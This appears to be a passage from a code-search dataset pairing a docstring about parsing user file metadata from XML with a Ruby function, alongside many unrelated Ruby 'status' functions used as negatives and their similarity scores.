in KVM)\n @db.execute(\n \"UPDATE #{@dataset} SET \" \\\n \"state = '#{vm[:state]}', \" \\\n 'missing = 0, ' \\\n \"timestamp = #{time}, \" \\\n \"uuid = '#{uuid}', \" \\\n \"deploy_id = '#{vm[:deploy_id]}' \"\\\n \"#{filter}\"\n )\n\n if sync_state || vm_db[col_name_to_idx('state')] != vm[:state]\n status_str << vm_to_status(vm)\n end\n end\n\n # ----------------------------------------------------------------------\n # check missing VMs\n # ----------------------------------------------------------------------\n uuids = @db.execute(\"SELECT uuid FROM #{@dataset}\").flatten!\n uuids ||= []\n\n (uuids - monitor_ids).each do |uuid|\n vm_db = @db.execute(\n \"SELECT * FROM #{@dataset} WHERE uuid = '#{uuid}'\"\n ).first\n\n next if vm_db.nil?\n\n miss = vm_db[col_name_to_idx('missing')]\n\n if miss >= @conf[:times_missing]\n status_str << vm_db_to_status(vm_db, @conf[:missing_state])\n\n @db.execute(\"DELETE FROM #{@dataset} WHERE uuid = \\\"#{uuid}\\\"\")\n else\n status_str << vm_db_to_status(vm_db) if sync_state\n \n @db.execute(\n \"UPDATE #{@dataset} SET \" \\\n \"timestamp = #{time}, \" \\\n \"missing = #{miss + 1} \" \\\n \"WHERE uuid = '#{uuid}'\"\n )\n end\n end\n\n status_str\n end",
"def getStatus(topo, domain)\r\n\r\n puts \"-----------------------------------------------\"\r\n if topo.include?(\":\")\r\n filename = topo.delete(\"[]\")\r\n t = Topology[\"#{filename}\"]\r\n else\r\n begin\r\n t = Topology.create(\"mytopo\", eval(topo))\r\n rescue Exception => e\r\n filename = topo.delete(\"[]\")\r\n t = Topology[\"#{filename}\"]\r\n end\r\n end\r\n d = (domain == \"default\") ? OConfig.domain : domain\r\n puts \" Testbed : #{d}\"\r\n url = \"#{OConfig[:tb_config][:default][:cmc_url]}/allStatus?domain=#{d}\"\r\n response = NodeHandler.service_call(url, \"Can't get node status from CMC\")\r\n doc = REXML::Document.new(response.body)\r\n doc.root.elements.each('//detail/*') { |e|\r\n attr = e.attributes\r\n x = attr['x'].to_i\r\n y = attr['y'].to_i\r\n state = attr['state']\r\n if t.nodesArr[x][y] == [x,y]\r\n puts \" Node n_#{x}_#{y} - State: #{state}\" \r\n end\r\n }\r\n puts \"-----------------------------------------------\"\r\nend",
"def current_status\n if OperatingSystem.mac?\n return { os: {mac: 'mac' }}\n end\n\n if OperatingSystem.linux?\n top = %x(top -b -n 1)\n load_averages = top.split(\"\\n\")[0].partition(\"load average:\")[2].strip.split(\", \")\n puts \"Load last 1 minute: #{load_averages[0]}\"\n puts \"Load last 5 minutes: #{load_averages[1]}\"\n puts \"Load last 15 minutes: #{load_averages[2]}\"\n uptime = top.split(\"\\n\")[0].split(\", \")[0].partition(\"up\")[2].strip+','+top.split(\"\\n\")[0].split(\", \")[1]\n puts \"Uptime: #{uptime}\"\n user_sessions = top.split(\"\\n\")[0].split(\", \")[2].strip.to_i\n cpu = 100.0 - top.split(\"\\n\")[2].split(', ')[3].to_f\n puts \"Current User sessions: #{user_sessions}\"\n puts \"#{top.split(\"\\n\")[1]}\"\n puts \"% CPU (user processes): #{top.split(\"\\n\")[2].split(', ')[0].partition(\":\")[2]}\"\n puts \"% CPU (system processes): #{top.split(\"\\n\")[2].split(', ')[1]}\"\n puts \"% CPU (priority nice): #{top.split(\"\\n\")[2].split(', ')[2]}\"\n puts \"% CPU (idle): #{top.split(\"\\n\")[2].split(', ')[3]}\"\n puts \"% CPU (waiting for I/O): #{top.split(\"\\n\")[2].split(', ')[4]}\"\n puts \"% CPU (hardware interpts):#{top.split(\"\\n\")[2].split(', ')[5]}\"\n puts \"% CPU (software interpts):#{top.split(\"\\n\")[2].split(', ')[6]}\"\n puts \"RAM: #{top.split(\"\\n\")[3]}\"\n puts \"SWAP:#{top.split(\"\\n\")[4]}\"\n total_memory = top.split(\"\\n\")[3].split(' ')[2].to_f\n free_memory = top.split(\"\\n\")[3].split(' ')[6].to_f\n free_memory_perc = (free_memory / total_memory * 100).round\n swap_used = top.split(\"\\n\")[4].split(', ')[3].to_f\n\n disk_space = %x(df /tmp --total -k -h)\n puts \"Disk Space (Total): #{disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[0]}\"\n puts \"Disk Space (Used): #{disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[1]}\"\n puts \"Disk Space (Avail): #{disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[2]}\"\n puts \"Disk Space (%Used): #{disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[3]}\"\n disk_space_used = disk_space.split(\"\\n\")[-1].partition(\"total\")[2].split[3].to_i\n puts \"---\"\n\n {\n os: {\n up_time: uptime,\n load: load_averages[0],\n cpu: cpu,\n free_memory: free_memory_perc,\n disk_space: disk_space_used,\n swap_used: swap_used,\n }\n }\n end\n end",
"def getStatus()\n params = Hash.new\n return doCurl(\"get\",\"/status\",params)\n end",
"def status\n get_json('status.json')\n end",
"def status\n @browser.span(:css => field_cell_css(:name) + \" .status\").when_present.text\n end",
"def status\n @status ||= if File.readable?(@status_path)\n Status.from(JSON(File.read(@status_path)))\n else\n Status.stopped\n end\n @status.error = @error\n @status\n end",
"def parse_poll(instance, onevm, do_cw, cw_mon_time)\n begin\n if onevm\n if do_cw\n cloudwatch_str = cloudwatch_monitor_info(instance.instance_id,\n onevm,\n cw_mon_time)\n else\n previous_cpu = onevm[\"MONITORING/CPU\"] || 0\n previous_netrx = onevm[\"MONITORING/NETRX\"] || 0\n previous_nettx = onevm[\"MONITORING/NETTX\"] || 0\n\n cloudwatch_str = \"CPU=#{previous_cpu} NETTX=#{previous_nettx} NETRX=#{previous_netrx} \"\n end\n else\n cloudwatch_str = \"\"\n end\n\n mem = onevm[\"TEMPLATE/MEMORY\"].to_s\n mem=mem.to_i*1024\n info = \"#{POLL_ATTRIBUTE[:memory]}=#{mem} #{cloudwatch_str}\"\n\n state = \"\"\n if !instance.exists?\n state = VM_STATE[:deleted]\n else\n state = case instance.state.name\n when 'pending'\n VM_STATE[:active]\n when 'running'\n VM_STATE[:active]\n when 'shutting-down', 'terminated'\n VM_STATE[:deleted]\n else\n VM_STATE[:unknown]\n end\n end\n info << \"#{POLL_ATTRIBUTE[:state]}=#{state} \"\n\n EC2_POLL_ATTRS.map { |key|\n value = instance.send(key)\n if !value.nil? && !value.empty?\n if value.is_a?(Array)\n value = value.map {|v|\n v.group_id if v.is_a?(Aws::EC2::Types::GroupIdentifier)\n }.join(\",\")\n end\n\n info << \"AWS_#{key.to_s.upcase}=\\\\\\\"#{URI::encode(value)}\\\\\\\" \"\n end\n }\n\n info\n rescue\n # Unkown state if exception occurs retrieving information from\n # an instance\n \"#{POLL_ATTRIBUTE[:state]}=#{VM_STATE[:unknown]} \"\n end\n end",
"def status\n if @status_path\n attr_val(@status_xpath)\n else\n nil\n end\n end",
"def read_appliance_management_service_status_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: NsxComponentAdministrationApi.read_appliance_management_service_status ...\"\n end\n # resource path\n local_var_path = \"/node/services/node-mgmt/status\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'NodeServiceStatusProperties')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NsxComponentAdministrationApi#read_appliance_management_service_status\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def status\n debug { \"status\" }\n verify_response { Remote.get('/status', :api_key => api_key ) }\n end",
"def get_locator_led_status(handle:, **kwargs)\n led_mo = nil\n led_status = String.new\n if _is_valid_arg(\"chassis_id\", kwargs)\n led_mo = _get_chassis_locator_led_state(handle, kwargs)\n end\n\n if _is_valid_arg(\"server_id\", kwargs) or \\\n handle.platform == IMC_PLATFORM::TYPE_CLASSIC\n led_mo = _get_server_locator_led_state(handle, kwargs)\n end\n if !led_mo.nil?\n led_status = led_mo.oper_state\n end\n return led_status\nend",
"def status\r\n case status_id\r\n when 1; \"Sending\"\r\n when 2; \"Sent\"\r\n when 3; \"Bounced\"\r\n when 4; \"Opened\"\r\n when 5; \"Downloaded\"\r\n when 6; \"Send Failed\"\r\n else; \"Processing\"\r\n end\r\n end",
"def get_status\n status = {}\n\n status[:noop] = @noop\n status[:tags] = @tags unless @tags.nil?\n status[:state] = @state\n status[:report_errors] = @report_errors\n status[:errors] = @errors\n status[:expired_executions] = @expired_executions\n status[:update_time] = Time.now.to_i\n status[:pid] = Process.pid\n\n unless @backtrace.nil?\n status[:backtrace] = @backtrace\n end\n\n unless @summary.nil?\n status[:summary] = @summary\n end\n\n unless @method.nil?\n status[:method] = @method\n end\n\n status\n end",
"def get_status(rlm_base_url, rlm_username, rlm_password, command, pack_inst_id_or_name)\n xml_to_hash_response = send_xml_request(rlm_base_url, rlm_username, rlm_password,\n command, [pack_inst_id_or_name])\n\n hash_response = xml_to_hash_response['result'][0]['response']\n # hash_response = [{\"id\"=>\"74\", \"value\"=>\"Error:new-ip-package:0.0.0.22\"}]\n\n instance_status = hash_response.first['value'].split(':').first rescue nil\n # instance_status = \"Error\"\n\n instance_status\n end",
"def pull_state\n if @physical_object\n @status = 200\n @ds = @physical_object.digital_statuses.order(\"updated_at DESC\").last\n unless @ds.nil?\n @success = true\n @message = @ds.decided\n else\n @success = false\n @message = \"Physical object #{@physical_object.mdpi_barcode} has 0 Digital Statuses...\"\n end\n end\n render template: 'responses/pull_state.xml.builder', layout: false, status: @status\n end",
"def full_status_monitoring_connection(rule_name,info) \n \n # Will under the default \"Full Status/System wide Monitoring of Connections\"\n # Check\n if not @ff.text.include?'Full Status/System wide Monitoring of Connections'\n # Not in this page.\n self.msg(rule_name,:error,'full_status_monitoring_connection','Did NOT get the \\'Full Status/System wide Monitoring of Connections\\' page.')\n return\n end\n \n # Parse the json file. \n \n # \"Automatic Refresh\"\n if info.has_key?('Automatic Refresh')\n \n case info['Automatic Refresh']\n \n when 'on'\n \n # Set \"Automatic Refresh\"\n if @ff.text.include?'Automatic Refresh Off'\n \n @ff.link(:text,'Automatic Refresh Off').click\n self.msg(rule_name,:info,'Automatic Refresh',info['Automatic Refresh'])\n \n end\n\n \n when 'off'\n \n # Clear \"Automatic Refresh\"\n if @ff.text.include?'Automatic Refresh On'\n @ff.link(:text,'Automatic Refresh On').click \n end\n self.msg(rule_name,:info,'Automatic Refresh',info['Automatic Refresh'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'full_status_monitoring_connection','Did NOT find the value in \\'Automatic Refresh\\'.')\n return\n \n end # end of case\n \n end # end of if \n \n # \"Refresh\"\n if info.has_key?('Refresh')\n \n case info['Refresh']\n \n when 'on'\n \n # Set \"Refresh\"\n @ff.link(:text,'Refresh').click\n self.msg(rule_name,:info,'Refresh',info['Refresh'])\n \n when 'off'\n \n # Clear \"Refresh\"\n # Do nothing.\n self.msg(rule_name,:info,'Refresh',info['Refresh'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'full_status_monitoring_connection','Did NOT find the value in \\'Refresh\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # \"Reset Statistics\"\n if info.has_key?('Reset Statistics')\n \n case info['Reset Statistics']\n \n when 'on'\n \n # Set \"Refresh\"\n @ff.link(:text,'Reset Statistics').click\n self.msg(rule_name,:info,'Reset Statistics',info['Reset Statistics'])\n \n when 'off'\n \n # Clear \"Refresh\"\n # Do nothing.\n self.msg(rule_name,:info,'Reset Statistics',info['Reset Statistics'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'full_status_monitoring_connection','Did NOT find the value in \\'Reset Statistics\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # Output the result here.\n\n # Find the table.\n sTable = false\n @ff.tables.each do |t|\n if ( t.text.include? 'Status' and \n t.text.include? 'Network' and\n ( not t.text.include? 'Full Status/System wide Monitoring of Connections') and\n t.row_count >= 5 )then\n sTable = t\n break\n end\n end\n \n if sTable == false\n # Wrong here\n self.msg(rule_name,:error,'full_status_monitoring_connection','Did NOT find the target table.')\n return\n end\n \n iFlag = 0\n strEntry = \"\"\n iColumn = 2\n \n puts sTable.to_s\n \n while iColumn <= (sTable.column_count) do\n \n iFlag = iFlag + 1\n \n # not for first line\n if iFlag == 1\n next\n end\n strEntry = \"Connection\" + (iFlag - 1).to_s \n \n # Output in to the result.\n self.msg(rule_name,strEntry,'Name',sTable[1][iColumn])\n self.msg(rule_name,strEntry,'Status',sTable[2][iColumn])\n self.msg(rule_name,strEntry,'Network',sTable[3][iColumn])\n self.msg(rule_name,strEntry,'Underlying Device',sTable[4][iColumn])\n self.msg(rule_name,strEntry,'Connection Type',sTable[5][iColumn]) \n self.msg(rule_name,strEntry,'MAC Address ',sTable[6][iColumn]) \n self.msg(rule_name,strEntry,'IP Address ',sTable[7][iColumn]) \n self.msg(rule_name,strEntry,'Subnet Mask ',sTable[8][iColumn]) \n self.msg(rule_name,strEntry,'Default Gateway',sTable[9][iColumn]) \n self.msg(rule_name,strEntry,'DNS Server',sTable[10][iColumn])\n self.msg(rule_name,strEntry,'IP Address Distribution',sTable[11][iColumn])\n self.msg(rule_name,strEntry,'Service Name',sTable[12][iColumn]) \n self.msg(rule_name,strEntry,'User Name',sTable[13][iColumn]) \n self.msg(rule_name,strEntry,'Received Packets',sTable[14][iColumn]) \n self.msg(rule_name,strEntry,'Sent Packets',sTable[15][iColumn]) \n self.msg(rule_name,strEntry,'Received Bytes',sTable[16][iColumn]) \n self.msg(rule_name,strEntry,'Sent Bytes',sTable[17][iColumn])\n self.msg(rule_name,strEntry,'Receive Errors',sTable[18][iColumn]) \n self.msg(rule_name,strEntry,'Receive Drops',sTable[19][iColumn]) \n self.msg(rule_name,strEntry,'Time Span',sTable[20][iColumn]) \n self.msg(rule_name,strEntry,'Channel',sTable[21][iColumn]) \n \n iColumn = iColumn + 1\n \n end \n\n # \"Close\"\n if info.has_key?('Close')\n \n case info['Close']\n \n when 'on'\n \n # Set \"Close\"\n @ff.link(:text,'Close').click\n self.msg(rule_name,:info,'Close',info['Close'])\n \n when 'off'\n \n # Do nothing.\n self.msg(rule_name,:info,'Close',info['Close'])\n \n else\n \n # Wrong here\n self.msg(rule_name,:error,'full_status_monitoring_connection','Did NOT find the value in \\'Close\\'.')\n return\n \n end # end of case\n \n end # end of if \n\n # Close the window\n if @ff.text.include?'Close'\n @ff.link(:text,'Close').click\n end\n\n # Output the result\n self.msg(rule_name,:Result_Info,'Full Status/System wide Monitoring of Connections','SUCCESS') \n \n end",
"def get_status(session_cookie)\n wan_info_uri = URI(EASYBOX_CONFIG[:base_url] + '/inc/status-and-support/lte-status.stm')\n\n req = Net::HTTP::Get.new(wan_info_uri.path, {\n \"Cookie\" => session_cookie\n })\n\n wan_info_response = Net::HTTP.start(wan_info_uri.host, wan_info_uri.port) do |http|\n http.request(req)\n end\n\n # now parse interesting information\n signal = wan_info_response.body.match(/^var\\s+lteSignalPercent\\s*=\\s*'?\\\"?([^;\\\"']*)'?\\\"?;?$/ )[1]\n\n {\n signal: \"~#{signal.to_i * 10}%\"\n }\nend",
"def statuses\n statuses = {\n \"Not started\" => 1,\n \"In Progress\" => 2,\n \"Finished\" => 3\n }\n return statuses\n end",
"def device_states_list\n get \"deviceStates\"\n end"
] |
[
"0.62053114",
"0.61316156",
"0.5951072",
"0.58885884",
"0.58121955",
"0.5796551",
"0.5788164",
"0.5777459",
"0.57056564",
"0.5694479",
"0.56859666",
"0.56562823",
"0.5655947",
"0.5637627",
"0.5549555",
"0.55483246",
"0.5544901",
"0.5540149",
"0.55320114",
"0.54901993",
"0.5452775",
"0.5451605",
"0.54486835",
"0.5442439",
"0.5439948",
"0.54344875",
"0.5433101",
"0.5425344",
"0.54226875",
"0.5416997",
"0.5414198",
"0.54125583",
"0.540779",
"0.54077315",
"0.5403542",
"0.5399907",
"0.53878313",
"0.5381656",
"0.53751045",
"0.53701353",
"0.5367882",
"0.535723",
"0.53473735",
"0.53435796",
"0.5313304",
"0.5296782",
"0.52953684",
"0.5289606",
"0.52829206",
"0.52825075",
"0.5276878",
"0.5273976",
"0.5273227",
"0.5248007",
"0.5242049",
"0.52419525",
"0.5234176",
"0.52340573",
"0.52202994",
"0.52159196",
"0.51811147",
"0.518083",
"0.5176087",
"0.5172512",
"0.51582587",
"0.51572376",
"0.5152667",
"0.51488745",
"0.51465476",
"0.5144107",
"0.51316434",
"0.5129949",
"0.5129922",
"0.5124471",
"0.5124145",
"0.5119789",
"0.51179934",
"0.5114776",
"0.51118135",
"0.5103985",
"0.50944895",
"0.50915605",
"0.50860983",
"0.5080612",
"0.5079193",
"0.50711715",
"0.5068196",
"0.5067538",
"0.50641364",
"0.5054473",
"0.50416213",
"0.50402945",
"0.5039393",
"0.5039271",
"0.5035515",
"0.5033267",
"0.50310093",
"0.502834",
"0.50178134",
"0.50139725"
] |
0.735458
|
0
|
Parses the userspecific metadata from xml to visualREST form. List of updated files is returned, so that xml can contain many metadata changes for different files
|
def parseUpdatedMetadata(doc, params, path)
path += "/files"
listOfUpdatedFiles = Array.new
doc.find('//user/device/files/file').each do |file|
fullpath = (file.attributes.get_attribute("fullpath")) ? file.attributes.get_attribute("fullpath").value : nil
version = "not_found"
if file.find_first('version')
version = (file.find_first('version').attributes.get_attribute("num")) ? file.find_first('version').attributes.get_attribute("num").value.to_i : nil
end
if fullpath.to_s == ""
raise Exception.new("fullpath cannot be empty")
elsif fullpath[0] == '/'
raise Exception.new("path cannot begin with /")
elsif not version
raise Exception.new("Error in version element")
end
temp_path = (version) == "not_found" ? path + "/#{fullpath}" : path + "/#{fullpath}" + "?version=#{version.to_s}"
file.find("metadata").each do |mdata|
mtype = mdata.attributes.get_attribute("metadata_type") ? mdata.attributes.get_attribute('metadata_type').value : nil
mvalue = mdata.content
if not mtype or not mvalue
raise Exception.new("Malformed metadata element")
end
listOfUpdatedFiles << {:path => temp_path, :params => {:metadata_type => mtype.to_s, :metadata_value => mvalue.to_s}}
end
end
listOfUpdatedFiles.each do |v|
puts "#{v[:path]} #{v[:params][:metadata_type]} #{v[:params][:metadata_value]}"
end
return listOfUpdatedFiles
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def metadata_xml\n Nokogiri::XML(original_file.content)\n end",
"def parse_photo_request_reponse_xml\n logger.debug('PARSING FILES.')\n Dir.glob(File.join(LOCAL_DIR, FILE_EXTN)).each do |file|\n begin\n doc = Nokogiri::XML.parse(File.open(file)) { |xml| xml.noblanks }\n parse_xml(doc)\n rescue StandardError? => e\n logger.debug('Error is processing file ' + file + ' ' + e.message)\n next\n end\n end\n puts salsify_ids_map\n logger.debug('PARSING COMPLETED.')\n end",
"def parse_list_response(xml)\n [ nodes_for(xml, 'files').collect{ |node| File.new(self, node) },\n nodes_for(xml, 'folders').collect{ |node| Folder.new(@rc, self, node) } ]\n end",
"def parsePhotoRequestReponseXMl\n Dir.glob(File.join(LOCAL_DIR, FILE_EXTN)).each do |file|\n doc = Nokogiri::XML.parse(File.open(file)) { |xml| xml.noblanks }\n project = doc.root.child\n project.children.each { |shotGrp|\n if shotGrp.name == 'ShotGroup'\n puts shotGrp.name #puts node.children.first.name\n puts 'SalsifyID: ' + shotGrp['SalsifyID']\n puts 'ShotGroupStatus: ' + shotGrp['ShotGroupStatus']\n puts '------------'\n shotGrp.children.each { |image|\n puts image.name\n puts image.values\n puts '-----------'\n image.children.each { |sample|\n puts sample.name\n puts sample.values\n puts '##########'\n }\n }\n end\n }\n end\n end",
"def get_files_to_upload(file_dir, dom)\n @log.info 'Figuring out which files to upload'\n\n uploaded_files = []\n\n # xpath variables\n premis_ns = { 'premis' => 'http://www.loc.gov/standards/premis' }\n mets_ns = { 'mets' => 'http://www.loc.gov/METS/' }\n checksum_xpath = 'premis:objectCharacteristics/premis:fixity/premis:messageDigest'\n original_name_xpath = 'premis:originalName'\n\n # loop over the files listed in the METS\n file_md5_list = dom.xpath('//premis:object', premis_ns)\n file_md5_list.each do |fptr|\n # file location info\n file_checksum = fptr.at_xpath(checksum_xpath, premis_ns).inner_html\n flocat_xpath = \"//mets:file[@CHECKSUM='\" + file_checksum + \"']/mets:FLocat\"\n file_location = dom.at_xpath(flocat_xpath, mets_ns)\n\n # the name of the file in the aip package and its original name\n aip_filename = file_location.attr('xlink:href')\n orig_filename = fptr.at_xpath(original_name_xpath, premis_ns).inner_html\n\n # type of file\n file_type = file_location.parent.parent.attr('USE')\n\n case file_type\n when 'THUMBNAIL'\n if @config['include_thumbnail']\n uploaded_file = upload_file(file_dir, orig_filename, aip_filename, 'thumbnail')\n uploaded_files.push(uploaded_file) unless uploaded_file.nil?\n end\n when 'ORIGINAL'\n uploaded_file = upload_file(file_dir, orig_filename, aip_filename, 'bitstream')\n uploaded_files.push(uploaded_file) unless uploaded_file.nil?\n end\n end\n\n uploaded_files\nend",
"def parseFileslist(doc, params, path)\n prev_commit_hash = (doc.find_first('//xmpp2rest/user/device/files/prev_commit_hash') ? doc.find_first('//xmpp2rest/user/device/files/prev_commit_hash').content : nil) \n commit_hash = (doc.find_first('//xmpp2rest/user/device/files/commit_hash')) ? doc.find_first('//xmpp2rest/user/device/files/commit_hash').content : nil\n \n if not commit_hash\n raise Exception.new(\"Missing element: commit_hash\")\n end\n \n puts \"Prev_commit_hash: \" + prev_commit_hash.to_s\n puts \"Commit_hash: \" + commit_hash.to_s\n \n location = {}\n location['latitude'] = (doc.find_first('//xmpp2rest/user/device/files/location/latitude')) ? doc.find_first('//xmpp2rest/user/device/files/location/latitude').content : \"NULL\"\n location['longitude'] = (doc.find_first('//xmpp2rest/user/device/files/location/longitude')) ? doc.find_first('//xmpp2rest/user/device/files/location/longitude').content : \"NULL\"\n \n filelist = Hash.new\n doc.find('//user/device/files/file').each do |file|\n fullpath = (file.attributes.get_attribute(\"fullpath\")) ? file.attributes.get_attribute(\"fullpath\").value : nil \n filepath = (file.find_first('path')) ? file.find_first('path').content : nil\n filename = (file.find_first('filename')) ? file.find_first('filename').content : nil \n filedate = (file.find_first('filedate')) ? file.find_first('filedate').content : nil\n filetype = (file.find_first('filetype')) ? file.find_first('filetype').content : nil\n filesize = (file.find_first('filesize')) ? file.find_first('filesize').content : nil\n version_hash = (file.find_first('version_hash')) ? file.find_first('version_hash').content : nil\n\n if not filepath or not filename or not filetype or not filesize or not filedate or not version_hash\n raise Exception.new(\"Not all the needed metadata given: filename, filetype, filesize, filedate and version_hash are compulsory!\")\n elsif fullpath.to_s != filepath.to_s + filename.to_s\n raise Exception.new(\"fullpath: #{fullpath.to_s} doesn't match to path + name: #{filepath.to_s + filename.to_s}\")\n elsif fullpath[0,1] != '/' or filepath[0,1] != '/'\n raise Exception.new(\"path must begin with /\")\n end\nputs \"filepath: #{filepath}\"\n filelist.merge!({fullpath => {\"status\" => \"created\", \"blob_hash\" => version_hash, \"name\" => filename, \"path\" => filepath, \"size\" => filesize, \"filetype\" => filetype, \"filedate\" => filedate.to_s}}) \n end\n contains = YAML.dump_stream(filelist)\nputs \"contains: #{contains.to_s}\"\n if prev_commit_hash\n puts \"prev hash added!\"\n params['prev_commit_hash'] = prev_commit_hash\n end\n \n path += \"/files\"\n params.merge!({ 'contains' => contains, 'commit_hash' => commit_hash, 'commit_location' => location})\n return params, path\n end",
"def list(type=\"\",raw=false,format=\"json\")\n \n metadata_type = MavensMate::FileFactory.get_meta_type_by_name(type) || {}\n has_children_metadata = false\n if ! metadata_type[:child_xml_names].nil? and metadata_type[:child_xml_names].kind_of? Array\n has_children_metadata = true\n end\n is_folder_metadata = metadata_type[:in_folder]\n \n metadata_request_type = (is_folder_metadata == true) ? \"#{type}Folder\" : type\n if metadata_request_type == \"EmailTemplateFolder\"\n metadata_request_type = \"EmailFolder\"\n end\n \n #puts metadata_type.inspect + \"\\n\\n\"\n \n self.mclient = get_metadata_client\n begin\n response = self.mclient.request :list_metadata do |soap|\n soap.header = get_soap_header \n soap.body = \"<ListMetadataQuery><type>#{metadata_request_type}</type></ListMetadataQuery>\"\n end\n rescue Savon::SOAP::Fault => fault\n raise Exception.new(fault.to_s) if fault.to_s.not.include? \"sf:INVALID_TYPE\"\n end \n \n begin\n #puts \"beginning\"\n return response unless ! raw\n \n if response.nil?\n return []\n end\n \n #puts \"RESPONSE HASH: \" + response.to_hash.inspect + \"<br/><br/>\"\n \n #if theres nothing there, return an empty array\n if response.to_hash[:list_metadata_response].nil? or response.to_hash[:list_metadata_response] == nil\n return []\n end\n \n hash = response.to_hash\n \n els = Array.new\n result_elements = [] \n if hash[:list_metadata_response][:result].kind_of? Hash\n result_elements.push(hash[:list_metadata_response][:result])\n else\n result_elements = hash[:list_metadata_response][:result]\n end\n #puts \"result_elements: \" + hash.inspect\n \n #if this type has children, make a retrieve request for the type\n #parse the response as appropriate\n object_hash = {} #=> {\"Account\" => [ {\"fields\" => [\"foo\", \"bar\"]}, \"listviews\" => [\"foo\", \"bar\"] ], \"Contact\" => ... }\n \n if has_children_metadata == true && result_elements.length > 0\n #testing stuff\n require 'zip/zipfilesystem'\n require 'fileutils'\n retrieve_body = \"<RetrieveRequest><unpackaged><types><name>#{metadata_request_type}</name>\"\n result_elements.each { |el| \n retrieve_body << \"<members>#{el[:full_name]}</members>\"\n }\n retrieve_body << \"</types></unpackaged><apiVersion>#{MM_API_VERSION}</apiVersion></RetrieveRequest>\"\n zip_file = retrieve({ :body => retrieve_body })\n \n tmp_dir = Dir.tmpdir \n random = MavensMate::Util.get_random_string\n mm_tmp_dir = \"#{tmp_dir}/.org.mavens.mavensmate.#{random}\" \n \n Dir.mkdir(mm_tmp_dir)\n File.open(\"#{mm_tmp_dir}/metadata.zip\", \"wb\") {|f| f.write(Base64.decode64(zip_file))}\n Zip::ZipFile.open(\"#{mm_tmp_dir}/metadata.zip\") { |zip_file|\n zip_file.each { |f|\n f_path=File.join(mm_tmp_dir, f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n }\n }\n require 'nokogiri'\n # [{\"Account\" => [ {\"fields\" => [\"foo\", \"bar\"]}, \"listviews\" => [\"foo\", \"bar\"] ] }, ]\n \n Dir.foreach(\"#{mm_tmp_dir}/unpackaged/#{metadata_type[:directory_name]}\") do |entry| #iterate the metadata folders\n #entry => Account.object\n \n next if entry == '.' || entry == '..' || entry == '.svn' || entry == '.git'\n #puts \"processing: \" + entry + \"\\n\"\n \n doc = Nokogiri::XML(File.open(\"#{mm_tmp_dir}/unpackaged/#{metadata_type[:directory_name]}/#{entry}\"))\n doc.remove_namespaces!\n \n c_hash = {}\n metadata_type[:child_xml_names].each { |c|\n tag_name = c[:tag_name]\n items = []\n doc.xpath(\"//#{tag_name}/fullName\").each do |node|\n items.push(node.text)\n end \n c_hash[tag_name] = items\n }\n base_name = entry.split(\".\")[0]\n object_hash[base_name] = c_hash\n end \n FileUtils.rm_rf mm_tmp_dir\n end\n\n result_elements.each { |el| \n #puts \"RESULT ELEMENT: \" + el.inspect + \"<br/>\"\n #el => \"Account\"\n children = []\n full_name = el[:full_name]\n \n full_name = \"Account\" if full_name == \"PersonAccount\"\n object_detail = object_hash[full_name]\n \n #if this type has child metadata, we need to add the details\n if has_children_metadata == true\n #puts \"OBJECT DETAIL: \" + object_detail.inspect + \"<br/><br/>\" \n next if object_detail.nil?\n metadata_type[:child_xml_names].each { |child_xml|\n #puts child_xml.inspect\n #puts child_xml[:tag_name]\n \n tag_name = child_xml[:tag_name]\n #puts object_detail.inspect\n if object_detail[tag_name].size > 0\n gchildren = []\n object_detail[tag_name].each do |gchild_el|\n gchildren.push({\n :title => gchild_el,\n :key => gchild_el,\n :isLazy => false,\n :isFolder => false,\n :selected => false\n })\n end\n \n children.push({\n :title => child_xml[:tag_name],\n :key => child_xml[:tag_name],\n :isLazy => false,\n :isFolder => true,\n :children => gchildren,\n :selected => false\n })\n end\n } \n end\n \n #if this type has folders, run queries to grab all metadata in the folders\n if is_folder_metadata == true \n next if el[:manageable_state] != \"unmanaged\"\n folders = \"<folder>#{el[:full_name]}</folder>\"\n begin\n response = self.mclient.request :list_metadata do |soap|\n soap.header = get_soap_header \n soap.body = \"<ListMetadataQuery><type>#{type}</type>#{folders}</ListMetadataQuery>\"\n end\n rescue Savon::SOAP::Fault => fault\n raise Exception.new(fault.to_s)\n end\n \n folder_elements = [] \n folder_hash = response.to_hash \n if folder_hash[:list_metadata_response] && folder_hash[:list_metadata_response][:result]\n if folder_hash[:list_metadata_response][:result].kind_of? Hash\n folder_elements.push(folder_hash[:list_metadata_response][:result])\n else\n folder_elements = folder_hash[:list_metadata_response][:result]\n end \n end\n \n folder_elements.each { |folder_el|\n children.push({\n :title => folder_el[:full_name].split(\"/\")[1],\n :key => folder_el[:full_name],\n :isLazy => false,\n :isFolder => false,\n :selected => false\n })\n } \n end\n \n els.push({\n :title => el[:full_name],\n :key => el[:full_name],\n :isLazy => is_folder_metadata || has_children_metadata,\n :isFolder => is_folder_metadata || has_children_metadata,\n :children => children,\n :selected => false\n })\n }\n els.sort! { |a,b| a[:title].downcase <=> b[:title].downcase }\n \n if format == \"json\"\n return els.to_json\n else\n return els\n end\n rescue Exception => e\n puts \"\\n\\n\\n\" + 